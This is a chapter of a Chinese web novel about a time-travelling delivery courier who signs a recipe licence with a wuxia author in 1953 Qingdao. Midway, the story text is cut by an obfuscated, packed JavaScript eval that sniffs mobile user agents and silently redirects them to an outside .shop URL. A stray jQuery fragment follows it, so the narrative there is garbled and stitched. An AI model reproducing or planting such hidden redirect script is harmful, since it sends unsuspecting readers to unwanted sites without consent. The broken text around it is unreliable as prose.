“《小城春色》啊,好电影!”
慕云生踏步进门,刚巧听到了苏椰的一番言论,将他的小说与新近上映的《小城春色》放在一起比较,得出同为悲情写实主义的结论,他感到无上的荣幸。
自战争结束,他恢复了武侠小说的创作。
见过了山河疮痍,众生之苦,他走上悲情写实的路子。
这几年,被读者骂的多了,骂麻了。
他有心情回怼,就洋洋洒洒来上一大篇,大多时候,都是置之不理,我行我素,习惯了,也就无所谓了。
某一天,当真的有一个知己出现。
看待他小说的态度,不是不解、批判,而是认可、欣赏。
他还有点不习惯呢。
不过,这个人是谁呀?
看上去,年纪不大,还是个学生吧……
他看向妻子,妻子满脸都是喜色,不知在高兴个什么。
他困惑了,难道是,蒋家五服之外的远房亲戚?
“是你?”
说话的,是跟着他一同进门的故友张年年。
战争改变了很多人、很多事,他们也有几年没见了。
她的一个香港朋友,是做导演的,看上了《青衫隐》这本在大陆少人问津的小说,想要改编成电影,通过她联系上了连载报社,才找到他。
原本,签完了授权合同,她就该离开青岛了。
包厢里,饭桌上,几个人畅所欲言,几杯热酒下肚,纷纷抱怨起了文协,一年严过一年的文/化管控政o策——
“唉,这也不能写,那也不能写!”
“听说啊,充满‘暴o力行为’的武侠小说,在重点关注之列。”
“不止武侠,以后不管写什么小说,上头都会派下指导人员,教你怎么塑造人物,以及往什么方向写。”
“说不定,再过几年,一道封禁令下来,直接不让写了。”
“我就说,这一行啊,没出路的,趁早转行吧!”
…………………………………………
当他说起了封笔打算,家里攒下的书稿,跟不上时代的变化了,同废纸没两样,不如烧火取暖时,张年年又起了别的心思——
力劝他不要再糟蹋人类“瑰宝”了。
书稿不要了,干嘛烧了?卖给自己嘛!
于是,张年年跟着他来到了宁波路四号。
嗯,收废品。
谁成想,她一见到家中来客,就上手了。
亲亲热热地拥抱完了,还要拉着人家的手不撒开,又惊又喜。
他都看蒙了,“你们……认识?”
“我的老朋友了!”张年年解惑道,“好几年没见了,怪想她的。没想到啊,今儿给我逮了个正着!”
说着,抓着对方的手又紧了紧,生怕她跑了似的。
“都是熟人啊?那敢情好!”
女主人蒋碧发出了热情的邀请,“天色不早了,就都留下来吃个便饭吧!那一锅馍馍快蒸好了,我再去炒几个菜。老邹啊,你好好招待两个妹妹!”
说完,便利落地去了厨房。
慕云生给张年年添了杯碗热茶,见人家姐妹俩亲热地叙旧,有说不完的话,自己一个大男人,也不好插话,便转身去了书房,把他那些再也用不上了的书稿,收拾收拾。
既然张年年想要,就当废纸送她了。
“七年了,你这样子可真是经老,一点没变啊。”
张年年捧着苏椰的脸,捏了又捏,复又叹息一声,“唉,咱俩大光明影院第一回见,那时候,我也挺年轻的。后来啊,再见你一回,我就更老一回。你瞧瞧,我这皮肤都长出皱纹来了!”
“我……”
苏椰正懵着呢。
从张年年跟在慕云生身后出现那一刻起,一直懵到了现在。
张年年太热情了,而自己不知该给点什么反应。
张年年说“七年”的时候,她正要松口气。
七年嘛,不算长也不算短,有的人就是面皮显嫩,长得慢。一个人的老去,往往是一瞬间的。到了四十岁的某一天,才会突然衰老,叫熟人惊觉的那种。硬着头皮认下来,好像也不是不可以?
偏偏,下一句就提到了“大光明影院”。
那可是她俩在1924年见面的地方啊!
如今是1953年,中间隔了二十九年啊,这要一点不见老,她跟个妖怪有什么区别?
不过,看张年年的样子,并没有被苏椰吓到。
她不但不害怕,还把苏椰的手,按在了她的脸颊上,叫苏椰感受一把,真实的岁月漫过的痕迹。
她的肤质不错,白皙软滑。
对于一个四十七岁的女人来说,是相当减龄的。
然而,再减龄,也不过是在四十七岁的基础上,减掉大几岁;再白皙软滑的皮肤,缺少了绷脆的弹性,跟少女着实没法比了。
“我不是……”
苏椰觉得自己是个罪人。
欺骗了张年年至少两回,偏又被她识穿了。
但一想到时空外卖合同上的规定,在过去人的面前,承认了自己未来人的身份,要被倒扣30万金币。30万金币啊!她想一想,都觉得肉疼。
因而,仍试图狡辩一番。
这时,慕云生收拾完了他不要的书稿,装进一个箱子里,搬到客厅来,任由张年年处置,“已经烧了一部分了,还剩下这么多了。你挑挑拣拣,需要的就拿走吧!不要的,我顺手拿去厨房里添把火。”
“要!我都要。”
一听这位大佬又想烧书,张年年赶紧全都搂了过来。
双手抱着纸箱子,便没有多余的手,去招呼苏椰了。
苏椰顿觉,压在胸口的一团郁气,消散开来,不用面对苦主的贴面质疑,整个人轻松了不少。
张年年翻看着这一堆大佬未对外公开的手稿,爱不释手。
忽而,想起了什么,转身瞪了苏椰一眼——
“你是来找邹先生(即慕云生)签合同的吧?赶紧啊!”
瞪完,还来了一记俏皮的wink。
“合同?什么合同……”
慕云生看了眼张年年,又看了眼苏椰。
看不懂两人在搞什么。
苏椰惊了又惊,刚落到半空的一颗心,复吊了起来。
搞什么啊,这一趟来民国,跟前三次可太不一样了!
从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14220906|142832||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
蒋碧、张年年两个人先后的反应来看,她的特殊身份,似乎已经保不住了呀。她们究竟知道多少,她心里没把握。
过会儿,她们会不会把她当成怪物,扭送到巡捕房?她也猜不到。
唉!事情怎么会糟糕成这样?
一想到30万金币正在消失,她就觉得天昏地暗。
唉!这一趟算是白干了。
还好,关键时候,她想起了她的偶像,Karen周。
Karen周遇到这种情况,会怎么做呢?
抛开那些枝枝蔓蔓,向着既定的目标,前进一步,再前进一步。
神挡杀神,鬼挡虐鬼!
这时,耳边传来了小vi的声音——
“小椰子,不要怕,你该干嘛就干嘛!”
至此,苏椰慌乱的心神,一下子定了。
她淡定地从食盒最底层,取出两份合同,和两锭金子,同慕云生讲,“我家是开饭馆的,阿爸、阿妈都是您的书迷。阿妈看中了贺护六部曲里提到的‘金鳞戏珠煲’,照着书里的描写,做了一遍。我跟阿爸吃了,都觉十分美味,若是在饭馆里推出,一定大受欢迎。不过嘛,这菜品和菜名,都是您的独创。阿爸认为,想要售卖这道菜,必得先征得您的同意。所以,派我来这一趟,想跟您签一份美食授权合同,这两锭金子,是授权费用,还有这一锅‘金鳞戏珠煲’,带来给您尝尝味道。您要是觉得,阿妈厨艺还行,没有辜负了您的文字描写,合同没问题,价格也合适的话,就把这份合同签了吧!哦,还有这个食盒……”
她将“太极钵”推到慕云生面前,又道,“这是阿爸的手工艺杰作。您要是喜欢,就留下;不喜欢,我再带回去。”
慕云生的眼神,渐从迷茫转欣喜。
他有点激动,抖着手取出老花镜来戴上,把那个太极钵左瞧了右瞧,越看越觉稀奇,非当代产物,连声道,“好东西啊,留下、留下!”
冷静下来以后,才一页一页,仔细地翻看起了合同。
看到“江湖饭馆”四个字的时候,喃喃自语道,“江湖饭馆的传说,原来是真的啊……”
前面两页,是甲乙双方应尽义务、应得权益的阐释。
第三页,附了一份“金鳞戏珠煲”的食谱——
-食材:鲤鱼、猪骨、鹌鹑蛋、丸子、菌菇、时蔬
-调料:姜片、葱段、食盐、料酒、胡椒粉、枸杞
-步骤:①将鲤鱼去鳞、去鳃、去内脏、去骨,洗净后沥干水分,切成大小均匀的鱼片,用食盐、料酒、生姜片腌制片刻,去除腥味,增强鱼肉的自然鲜味;
②以猪骨慢火熬制高汤,至香气浓郁;
③热锅凉油,将鱼片煎至金黄,倒入高汤,大火烧开后转小火慢炖,先后加入丸子、鹌鹑蛋、菌菇、时蔬,充分吸收汤汁;
④根据个人口味,加入适量的盐、胡椒粉调味;
⑤出锅后,撒上少许枸杞点缀;
…………………………
合同签完了,蒋家的晚饭也上了桌。
苏椰找了个去洗手间的借口,闪到了屋外,悄悄问小vi——
“小vi、小vi,这个时空的东西,我能吃么?”